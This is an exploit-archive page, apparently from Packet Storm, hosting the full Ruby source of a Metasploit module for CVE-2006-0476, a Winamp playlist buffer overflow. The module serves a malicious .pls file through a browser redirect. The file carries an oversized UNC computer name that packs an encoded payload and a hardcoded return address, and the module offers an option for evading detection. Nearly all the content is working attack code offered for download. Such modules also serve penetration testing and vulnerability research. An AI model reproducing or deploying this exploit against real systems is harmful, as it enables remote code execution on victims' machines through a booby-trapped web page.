exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Winamp Playlist UNC Path Computer Name Overflow

Winamp Playlist UNC Path Computer Name Overflow
Posted Nov 26, 2009
Authored by H D Moore, Faithless | Site metasploit.com

This Metasploit module exploits a vulnerability in the Winamp media player. This flaw is triggered when a audio file path is specified, inside a playlist, that consists of a UNC path with a long computer name. This Metasploit module delivers the playlist via the browser. This Metasploit module has only been successfully tested on Winamp 5.11 and 5.12.

tags | exploit
advisories | CVE-2006-0476
SHA-256 | 2889b99fb672981aaf32d6d03175e887ca97949831928a04b0e3fda08d3056d2

Winamp Playlist UNC Path Computer Name Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Winamp Playlist UNC Path Computer Name Overflow',
'Description' => %q{
This module exploits a vulnerability in the Winamp media player.
This flaw is triggered when a audio file path is specified, inside a
playlist, that consists of a UNC path with a long computer name. This
module delivers the playlist via the browser. This module has only
been successfully tested on Winamp 5.11 and 5.12.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'Faithless <rhyskidd [at] gmail.com>'
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-0476'],
['OSVDB', '22789'],
['BID', '16410'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 526,
'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
'Compat' =>
{
'ConnectionType' => '-find',
},

# Landing on \x5c\x5c trashes esp, restore from ecx
'PrependEncoder' => "\x87\xe1",
'StackAdjustment' => -3500,

# Dont need them, dont want them, preserve esi
'DisableNops' => true,

},
'Platform' => 'win',
'Targets' =>
[
# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
],
'DisclosureDate' => 'Jan 29 2006',
'DefaultTarget' => 0))

register_evasion_options([
OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])
])
end

def on_request_uri(cli, request)

if (not request.uri.match(/\.pls$/i))
html =
"<html><body>"+
"<script>" +
"document.location='" +
get_resource + '/' +
rand_text_alphanumeric(rand(80)+16) +
".pls'</script>" +
"One second please...</body></html>"
send_response_html(cli, html)
return
end

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the compressed response to the client
send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })

# Handle the payload
handler(cli)
end

def generate_playlist(payload)

pcnt = rand(10)+10;

file = rand_text_english(1026)
file[1022 , 4] = [target.ret].pack('V')
file[0, payload.encoded.length] = payload.encoded

play =
"[playlist]\r\n" +
generate_songs(pcnt) +
generate_song(pcnt + 1, "\\\\#{file}") +
generate_line('NumberOfEntries', "#{pcnt+1}") +
generate_line('Version', '2')
return play
end

def generate_space
if datastore['PlaylistSpaceInjection'] == true
return rand_text(rand(100)+1, nil, " \t")
else
return ''
end
end

def generate_song(id, file)
return generate_line("File#{id}", file) +
generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
generate_line("Length#{id}", "%x" % (rand(1024) + 30))
end

def generate_line(key, value)
return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
end

def generate_songs(cnt)
songs = ''
1.upto(cnt) do |i|
songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
end
return songs
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close